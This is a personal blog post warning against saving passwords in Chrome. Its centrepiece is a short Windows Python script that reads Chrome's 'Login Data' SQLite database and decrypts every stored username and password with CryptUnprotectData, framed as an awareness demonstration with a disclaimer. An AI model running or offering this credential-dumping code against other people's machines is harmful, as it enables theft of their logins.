Han Yoon

CEO @ Lunar Digital Assets, Hobbyist Writer, Cryptonaut. Noonie Nominee.

Why You Should Never Save Passwords on Chrome or Firefox

Extracting Your Passwords in Cleartext with 12 Lines of Code

In this article I will demonstrate how easy it is for hackers to extract every username and password saved on your Chrome profile. One would think that Chrome would have safety measures to encrypt your password, but apparently that is not the case — sorta. My Chrome profile, like many others, is set up so that there is another encryption password that I have to enter in order to sync all my passwords, bookmarks, settings, browser history, and etc. so it was pretty shocking to me how easy it was for me to extract and decrypt my passwords. Twelve lines of code easy.

Demonstration and Proof of Concept

Before we get started, I should mention that I have not tested this on macOS or any Linux distributions. To replicate this demonstration, you must be on a Windows environment with Python.

First let’s begin by importing all the dependencies required, and setting the folder location of your Chrome profile user data. Required dependencies: sqlite3 and win32crypt

# os and sqlite3 ships with Python by default. If you get import errors for win32crypt use "pip install pypiwin32" to install the dependency.
import os, sqlite3, win32crypt
# Automatically get the logged in user's default folder
data = os.path.expanduser('~')+"\AppData\Local\Google\Chrome\User Data\Default\Login Data"

Next, we will have to use sqlite3 to connect to the database where Chrome stores all your user data. Let’s take a look at the database structure. I used a free tool called SQLite Expert, but the choice of software is not important or even needed — I’m just a very visual guy.

The database structure of how your passwords are stored on Chrome

From looking at the database table, three columns catch my attention: action_url, username_value, and password_value. Notice that password_value type is BLOB — it is encrypted, but with poor design (we’ll get to that in a bit).

Looks like a bunch of gibberish, right? Not for long.

From here we’ll make a simple SQL query to fetch the respective values and store them for decrypting.

If you get an error about the database being locked, it’s because another program (presumably the Chrome window that you’re reading this on 😉) already has the database opened. You’ll need to close all your Chrome windows and for good measure do a control+alt+delete to ensure that there’s no lingering Chrome services running.

# Connect to Login Data database
connection = sqlite3.connect(data)
cursor = connection.cursor()
# Query the values of interest to us
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
final_data = cursor.fetchall()
# Close the database connection
cursor.close()

The encrypted password that we’ve now collected was generated by a Windows function, CryptProtectData. The data can only be decrypted by a user with the same Windows login credentials, and the same computer it was encrypted on. Sounds super safe! Right?

Well, no. If a hacker has managed to get access to your computer, whether it be through an unprotected port or a botnet-type trojan that you’ve managed to get infected with, then the hacker already has your Windows credentials and the decrypting function would be run on your computer. And just as there’s CryptProtectData, there’s a CryptUnprotectData function, which we’ll be using to get the cleartext version of the passwords.

# Iterating through all the values found...
for chrome_logins in final_data:
    password = win32crypt.CryptUnprotectData(chrome_logins[2], None, None, None, 0)[1]
    print("Website  : "+str(chrome_logins[0]))
    print("Username : "+str(chrome_logins[1]))
    print("Password : "+str(password))

And that’s it. In just twelve lines of code, I’ve extracted all 588 saved passwords in cleartext dating back to 2011.

Other sensitive data, such as browsing history and cookies are also subject to easy extraction using similar methods.

Closing Thoughts

I thought that using a different passwords for every website logins was sufficient enough to protect myself. This may be true for sites that offer 2-factor authentication, but the reality is that most sites have not yet integrated 2FA capabilities.

So how do we protect our passwords? It seems that a third-party password manager, which there are ton of in the market today, would be a smart choice (do your own research, because frankly I have not used them until now and can not offer a suggestion). One thing is clear, though — relying on Chrome to protect your passwords is a very, very bad idea.

I’ve got to admit, going through the list of passwords was like going through a trip down memory lane. Sites I’ve long forgotten about, accounts that I forgot about, and even a few cryptocurrency exchanges that I forgot I had funds in. Here’s a slightly longer version of this script that saves all the info into a text file for you to look at if you want to see your entire saved login data.

Disclaimer: I am not responsible for any idiot’s decision to misuse this script in any illegal or morally questionable way. This demonstration is strictly for educational purposes.

More by Han Yoon

Topics of interest

More Related Stories